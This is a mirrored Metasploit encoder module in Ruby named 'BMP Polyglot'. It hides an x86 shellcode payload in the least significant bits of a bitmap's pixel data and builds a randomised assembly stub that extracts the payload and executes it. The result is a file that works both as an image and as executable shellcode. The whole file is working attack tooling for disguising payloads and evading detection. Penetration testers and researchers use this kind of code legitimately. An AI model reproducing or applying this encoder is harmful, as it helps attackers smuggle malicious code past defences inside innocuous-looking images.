Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

bmp_polyglot.rb 16KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'rex/poly'
  6. require 'msf/core'
  7. =begin
  8. [BITS 32]
  9. global _start
  10. _start:
  11. pushad ; backup all registers
  12. call get_eip ; get the value of eip
  13. get_eip:
  14. pop esi ; and put it into esi to use as the source
  15. add esi, 0x30 ; advance esi to skip this decoder stub
  16. mov edi, esi ; copy it to edi which is where to start writing
  17. add esi, 0x1234 ; increase the source to skip any padding
  18. mov ecx, 0x1234 ; set the byte counter
  19. get_byte: ; <---------------------------------------------------------\
  20. xor eax, eax ; clear eax which is where our newly decoded byte will go |
  21. push ecx ; preserve the byte counter |
  22. xor ecx, ecx ; set the counter to 0 |
  23. mov cl, 8 ; set the counter to 8 (for bits) |
  24. get_bit: ; <------------------------------------------------------\ |
  25. shl eax, 1 ; shift eax one to make room for the next bit | |
  26. mov bl, byte [esi] ; read a byte from the source register | |
  27. inc esi ; advance the source register by a byte | |
  28. and bl, 1 ; extract the value of the least-significant bit | |
  29. or al, bl ; put the least-significat bit into eax | |
  30. dec ecx ; decrement the bit counter | |
  31. jne short get_bit ; -------------------------------------------------------/ |
  32. ; |
  33. ; get bit loop is done |
  34. pop ecx ; restore the byte counter |
  35. mov byte [edi], al ; move the newly decoded byte to its final destination |
  36. inc edi ; increment the destination pointer |
  37. ; |
  38. dec ecx ; decrement the byte counter |
  39. jne get_byte ; ----------------------------------------------------------/
  40. ; get byte loop is done
  41. popad ; restore all registers
  42. =end
  43. # calculate the smallest increase of a 32-bit little endian integer which is
  44. # also a valid x86 jmp opcode of the specified minimum size.
  45. class SizeCalculator
  46. BYTE_NOPS = [
  47. 0x42, # inc edx
  48. 0x45, # inc ebp
  49. 0x4a, # dec edx
  50. 0x4d, # dec ebp
  51. 0x90, # xchg eax, eax / nop
  52. 0xf5, # cmc
  53. 0xf8, # clc
  54. 0xf9, # stc
  55. 0xfc, # cld
  56. 0xfd # std
  57. ]
  58. def initialize(size, minimum_jump)
  59. @original_size = size
  60. raise if minimum_jump < 0 || minimum_jump > 0xff
  61. @minimum_jump = minimum_jump
  62. end
  63. def calculate
  64. possibles = []
  65. size = new_size_long
  66. possibles << size unless size.nil?
  67. size = new_size_short
  68. possibles << size unless size.nil?
  69. return if possibles.length == 0
  70. possibles.min
  71. end
  72. def new_size_long
  73. size = [ @original_size ].pack('V').unpack('CCCC')
  74. 0.upto(2) do |i|
  75. byte_0 = size[i]
  76. byte_1 = size[i + 1]
  77. byte_2 = size[i + 2].to_i
  78. byte_3 = size[i + 3].to_i
  79. byte_4 = size[i + 4].to_i
  80. min_jmp = (@minimum_jump - 5 - i)
  81. if byte_2 + byte_3 + byte_4 > 0 # this jmp would be too large
  82. if byte_0 > 0xfd
  83. size = increment_size(size, i)
  84. end
  85. size[i] = round_up_to_nop(byte_0)
  86. next
  87. end
  88. if byte_0 > 0xe9
  89. if byte_0 > 0xfd
  90. size = increment_size(size, i)
  91. end
  92. size[i] = round_up_to_nop(byte_0)
  93. else
  94. size[i] = 0xe9
  95. byte_1 = min_jmp if byte_1 < min_jmp
  96. size[i + 1] = byte_1
  97. return size.pack('CCCC').unpack('V')[0]
  98. end
  99. end
  100. end
  101. def new_size_short
  102. return if @minimum_jump > 0x81 # short won't make it in this case (0x7f + 0.upto(2).to_a.max)
  103. size = [ @original_size ].pack('V').unpack('CCCC')
  104. 0.upto(2) do |i|
  105. byte_0 = size[i]
  106. byte_1 = size[i + 1]
  107. min_jmp = (@minimum_jump - 2 - i)
  108. if byte_0 > 0xeb
  109. if byte_0 > 0xfd
  110. size = increment_size(size, i)
  111. end
  112. size[i] = round_up_to_nop(byte_0)
  113. else
  114. size[i] = 0xeb
  115. if byte_1 > 0x7f
  116. byte_1 = min_jmp
  117. size = increment_size(size, i + 1)
  118. elsif byte_1 < min_jmp
  119. byte_1 = min_jmp
  120. end
  121. size[i + 1] = byte_1
  122. return size.pack('CCCC').unpack('V')[0]
  123. end
  124. end
  125. end
  126. def size_to_jmp(size)
  127. jmp = 0
  128. packed = [ size, 0 ].pack('VV')
  129. until [ "\xe9", "\xeb" ].include?(packed[0])
  130. packed = packed[1..-1]
  131. jmp += 1
  132. end
  133. if packed[0] == "\xe9"
  134. jmp += packed[1..4].unpack('V')[0]
  135. jmp += 5
  136. elsif packed[0] == "\xeb"
  137. jmp += packed[1].unpack('C')[0]
  138. jmp += 2
  139. end
  140. jmp
  141. end
  142. private
  143. def increment_size(size, byte)
  144. size = size.pack('CCCC').unpack('V')[0]
  145. size += (0x0100 << byte * 8)
  146. [ size ].pack('V').unpack('CCCC')
  147. end
  148. def round_up_to_nop(opcode)
  149. BYTE_NOPS.find { |nop| opcode <= nop }
  150. end
  151. end
  152. class Metasploit4 < Msf::Encoder
  153. Rank = ManualRanking
  154. DESTEGO_STUB_SIZE = 53
  155. # bitmap header sizes
  156. BM_HEADER_SIZE = 14
  157. DIB_HEADER_SIZE = 40
  158. def initialize
  159. super(
  160. 'Name' => 'BMP Polyglot',
  161. 'Description' => %q{
  162. Encodes a payload in such a way that the resulting binary blob is both
  163. valid x86 shellcode and a valid bitmap image file (.bmp). The selected
  164. bitmap file to inject into must use the BM (Windows 3.1x/95/NT) header
  165. and the 40-byte Windows 3.1x/NT BITMAPINFOHEADER. Additionally the file
  166. must use either 24 or 32 bits per pixel as the color depth and no
  167. compression. This encoder makes absolutely no effort to remove any
  168. invalid characters.
  169. },
  170. 'Author' => 'Spencer McIntyre',
  171. 'Arch' => ARCH_X86,
  172. 'License' => MSF_LICENSE,
  173. 'References' =>
  174. [
  175. [ 'URL' => 'https://warroom.securestate.com/bmp-x86-polyglot/' ]
  176. ]
  177. )
  178. register_options(
  179. [
  180. OptString.new('BitmapFile', [ true, 'The .bmp file to inject into' ])
  181. ],
  182. self.class)
  183. end
  184. def can_preserve_registers?
  185. true
  186. end
  187. def preserves_stack?
  188. true
  189. end
  190. def make_pad(size)
  191. (0...size).map { (rand(0x100)).chr }.join
  192. end
  193. def modified_registers
  194. # these two registers are modified by the initial BM header
  195. # B 0x42 inc edx
  196. # M 0x4d dec ebp
  197. [
  198. Rex::Arch::X86::EBP, Rex::Arch::X86::EDX
  199. ]
  200. end
  201. # take the original size and calculate a new one that meets the following
  202. # requirements:
  203. # - large enough to store all of the image data and the assembly stub
  204. # - is also a valid x86 jmp instruction to land on the assembly stub
  205. def calc_new_size(orig_size, stub_length)
  206. minimum_jump = BM_HEADER_SIZE + DIB_HEADER_SIZE - 2 # -2 for the offset of the size in the BM header
  207. calc = SizeCalculator.new(orig_size + stub_length, minimum_jump)
  208. size = calc.calculate.to_i
  209. raise EncodingError, 'Bad .bmp, failed to calculate jmp for size' if size < orig_size
  210. jump = calc.size_to_jmp(size)
  211. pre_pad = jump - minimum_jump
  212. post_pad = size - orig_size - stub_length - pre_pad
  213. return { :new_size => size, :post_pad => post_pad, :pre_pad => pre_pad }
  214. end
  215. # calculate the least number of bits that must be modified to place the
  216. # shellcode buffer into the image data
  217. def calc_required_lsbs(sc_len, data_len)
  218. return 1 if sc_len * 8 <= data_len
  219. return 2 if sc_len * 4 <= data_len
  220. return 4 if sc_len * 2 <= data_len
  221. raise EncodingError, 'Bad .bmp, not enough image data for stego operation'
  222. end
  223. # asm stub that will extract the payload from the least significant bits of
  224. # the binary data which directly follows it
  225. def make_destego_stub(shellcode_size, padding, lsbs = 1)
  226. raise RuntimeError, 'Invalid number of storage bits' unless [1, 2, 4].include?(lsbs)
  227. gen_regs = [ 'eax', 'ebx', 'ecx', 'edx' ].shuffle
  228. ptr_regs = [ 'edi', 'esi' ].shuffle
  229. # declare logical registers
  230. dst_addr_reg = Rex::Poly::LogicalRegister::X86.new('dst_addr', ptr_regs.pop)
  231. src_addr_reg = Rex::Poly::LogicalRegister::X86.new('src_addr', ptr_regs.pop)
  232. ctr_reg = Rex::Poly::LogicalRegister::X86.new('ctr', gen_regs.pop)
  233. byte_reg = Rex::Poly::LogicalRegister::X86.new('byte', gen_regs.pop)
  234. bit_reg = Rex::Poly::LogicalRegister::X86.new('bit', gen_regs.pop)
  235. endb = Rex::Poly::SymbolicBlock::End.new
  236. get_eip_nop = Proc.new { |b| [0x90, 0x40 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample), 0x48 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)].sample.chr }
  237. get_eip = Proc.new { |b|
  238. [
  239. Proc.new { |b| "\xe8" + [0, 1].sample.chr + "\x00\x00\x00" + get_eip_nop.call(b) + (0x58 + b.regnum_of(src_addr_reg)).chr },
  240. Proc.new { |b| "\xe8\xff\xff\xff\xff" + (0xc0 + b.regnum_of([bit_reg, byte_reg, dst_addr_reg, src_addr_reg].sample)).chr + (0x58 + b.regnum_of(src_addr_reg)).chr },
  241. ].sample.call(b)
  242. }
  243. set_src_addr = Proc.new { |b, o| "\x83" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ b.offset_of(endb) + o ].pack('c') }
  244. set_dst_addr = Proc.new { |b| "\x89" + (0xc0 + (b.regnum_of(src_addr_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
  245. set_byte_ctr = Proc.new { |b| (0xb8 + b.regnum_of(ctr_reg)).chr + [ shellcode_size ].pack('V') }
  246. adjust_src_addr = Proc.new { |b| "\x81" + (0xc0 + b.regnum_of(src_addr_reg)).chr + [ padding ].pack('V') }
  247. initialize = Rex::Poly::LogicalBlock.new('initialize',
  248. Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) + set_byte_ctr.call(b) },
  249. Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + set_byte_ctr.call(b) + adjust_src_addr.call(b) },
  250. Proc.new { |b| "\x60" + get_eip.call(b) + set_src_addr.call(b, -6) + set_byte_ctr.call(b) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
  251. Proc.new { |b| "\x60" + get_eip.call(b) + set_byte_ctr.call(b) + set_src_addr.call(b, -6) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
  252. Proc.new { |b| "\x60" + set_byte_ctr.call(b) + get_eip.call(b) + set_src_addr.call(b, -11) + set_dst_addr.call(b) + adjust_src_addr.call(b) },
  253. )
  254. clr_byte_reg = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(byte_reg)).chr }
  255. clr_ctr = Proc.new { |b| [0x29, 0x2b, 0x31, 0x33].sample.chr + (0xc0 + (b.regnum_of(ctr_reg) << 3) + b.regnum_of(ctr_reg)).chr }
  256. backup_byte_ctr = Proc.new { |b| (0x50 + b.regnum_of(ctr_reg)).chr }
  257. set_bit_ctr = Proc.new { |b| (0xb0 + b.regnum_of(ctr_reg)).chr + (8 / lsbs).chr }
  258. get_byte_loop = Rex::Poly::LogicalBlock.new('get_byte_loop',
  259. Proc.new { |b| clr_byte_reg.call(b) + backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
  260. Proc.new { |b| backup_byte_ctr.call(b) + clr_byte_reg.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) },
  261. Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + clr_byte_reg.call(b) + set_bit_ctr.call(b) },
  262. Proc.new { |b| backup_byte_ctr.call(b) + clr_ctr.call(b) + set_bit_ctr.call(b) + clr_byte_reg.call(b) },
  263. )
  264. get_byte_loop.depends_on(initialize)
  265. shift_byte_reg = Rex::Poly::LogicalBlock.new('shift_byte_reg',
  266. Proc.new { |b| "\xc1" + (0xe0 + b.regnum_of(byte_reg)).chr + lsbs.chr }
  267. )
  268. read_byte = Rex::Poly::LogicalBlock.new('read_byte',
  269. Proc.new { |b| "\x8a" + ((b.regnum_of(bit_reg) << 3) + b.regnum_of(src_addr_reg)).chr }
  270. )
  271. inc_src_reg = Rex::Poly::LogicalBlock.new('inc_src_reg',
  272. Proc.new { |b| (0x40 + b.regnum_of(src_addr_reg)).chr }
  273. )
  274. inc_src_reg.depends_on(read_byte)
  275. get_lsb = Rex::Poly::LogicalBlock.new('get_lsb',
  276. Proc.new { |b| "\x80" + (0xe0 + b.regnum_of(bit_reg)).chr + (0xff >> (8 - lsbs)).chr }
  277. )
  278. get_lsb.depends_on(read_byte)
  279. put_lsb = Rex::Poly::LogicalBlock.new('put_lsb',
  280. Proc.new { |b| "\x08"+ (0xc0 + (b.regnum_of(bit_reg) << 3) + b.regnum_of(byte_reg)).chr }
  281. )
  282. put_lsb.depends_on(get_lsb, shift_byte_reg)
  283. jmp_bit_loop_body = Rex::Poly::LogicalBlock.new('jmp_bit_loop_body')
  284. jmp_bit_loop_body.depends_on(put_lsb, inc_src_reg)
  285. jmp_bit_loop = Rex::Poly::LogicalBlock.new('jmp_bit_loop',
  286. Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -12).chr }
  287. )
  288. jmp_bit_loop.depends_on(jmp_bit_loop_body)
  289. get_bit_loop = Rex::Poly::LogicalBlock.new('get_bit_loop_body', jmp_bit_loop.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ]))
  290. get_bit_loop.depends_on(get_byte_loop)
  291. put_byte = Proc.new { |b| "\x88" + (0x00 + (b.regnum_of(byte_reg) << 3) + b.regnum_of(dst_addr_reg)).chr }
  292. inc_dst_reg = Proc.new { |b| (0x40 + b.regnum_of(dst_addr_reg)).chr }
  293. restore_byte_ctr = Proc.new { |b| (0x58 + b.regnum_of(ctr_reg)).chr }
  294. get_byte_post = Rex::Poly::LogicalBlock.new('get_byte_post',
  295. Proc.new { |b| put_byte.call(b) + inc_dst_reg.call(b) + restore_byte_ctr.call(b) },
  296. Proc.new { |b| put_byte.call(b) + restore_byte_ctr.call(b) + inc_dst_reg.call(b) },
  297. Proc.new { |b| restore_byte_ctr.call(b) + put_byte.call(b) + inc_dst_reg.call(b) },
  298. )
  299. get_byte_post.depends_on(get_bit_loop)
  300. jmp_byte_loop_body = Rex::Poly::LogicalBlock.new('jmp_byte_loop_body',
  301. Proc.new { |b| (0x48 + b.regnum_of(ctr_reg)).chr + "\x75" + (0xfe + -26).chr }
  302. )
  303. jmp_byte_loop_body.depends_on(get_byte_post)
  304. finalize = Rex::Poly::LogicalBlock.new('finalize', "\x61")
  305. finalize.depends_on(jmp_byte_loop_body)
  306. return finalize.generate([ Rex::Arch::X86::EBP, Rex::Arch::X86::ESP ])
  307. end
  308. def stegoify(shellcode, data, lsbs = 1)
  309. clr_mask = ((0xff << lsbs) & 0xff)
  310. set_mask = clr_mask ^ 0xff
  311. iter_count = 8 / lsbs
  312. shellcode.each_char.with_index do |sc_byte, index|
  313. sc_byte = sc_byte.ord
  314. 0.upto(iter_count - 1) do |bit_pos|
  315. data_pos = (index * (8 / lsbs)) + bit_pos
  316. shift = 8 - (lsbs * (bit_pos + 1))
  317. d_byte = data[data_pos].ord
  318. d_byte &= clr_mask
  319. d_byte |= ((sc_byte & (set_mask << shift)) >> shift)
  320. data[data_pos] = d_byte.chr
  321. end
  322. end
  323. data
  324. end
  325. def validate_dib_header(dib_header)
  326. size, _, _, _, bbp, compression, _, _, _, _, _ = dib_header.unpack('VVVvvVVVVVV')
  327. raise EncodingError, 'Bad .bmp DIB header, must be 40-byte BITMAPINFOHEADER' if size != DIB_HEADER_SIZE
  328. raise EncodingError, 'Bad .bmp DIB header, bits per pixel must be must be either 24 or 32' if bbp != 24 && bbp != 32
  329. raise EncodingError, 'Bad .bmp DIB header, compression can not be used' if compression != 0
  330. end
  331. def encode(buf, badchars = nil, state = nil, platform = nil)
  332. in_bmp = File.open(datastore['BitmapFile'], 'rb')
  333. header = in_bmp.read(BM_HEADER_SIZE)
  334. dib_header = in_bmp.read(DIB_HEADER_SIZE)
  335. image_data = in_bmp.read
  336. in_bmp.close
  337. header, original_size, _, _, original_offset = header.unpack('vVvvV')
  338. raise EncodingError, 'Bad .bmp header, must be 0x424D (BM)' if header != 0x4d42
  339. validate_dib_header(dib_header)
  340. lsbs = calc_required_lsbs(buf.length, image_data.length)
  341. details = calc_new_size(original_size, DESTEGO_STUB_SIZE)
  342. destego_stub = make_destego_stub(buf.length, details[:post_pad], lsbs)
  343. if destego_stub.length != DESTEGO_STUB_SIZE
  344. # this is likely a coding error caused by updating the make_destego_stub
  345. # method but not the DESTEGO_STUB_SIZE constant
  346. raise EncodingError, 'Bad destego stub size'
  347. end
  348. pre_image_data = make_pad(details[:pre_pad]) + destego_stub + make_pad(details[:post_pad])
  349. new_offset = original_offset + pre_image_data.length
  350. bmp_img = ''
  351. bmp_img << [0x4d42, details[:new_size], 0, 0, new_offset].pack('vVvvV')
  352. bmp_img << dib_header
  353. bmp_img << pre_image_data
  354. bmp_img << stegoify(buf, image_data, lsbs)
  355. bmp_img
  356. end
  357. end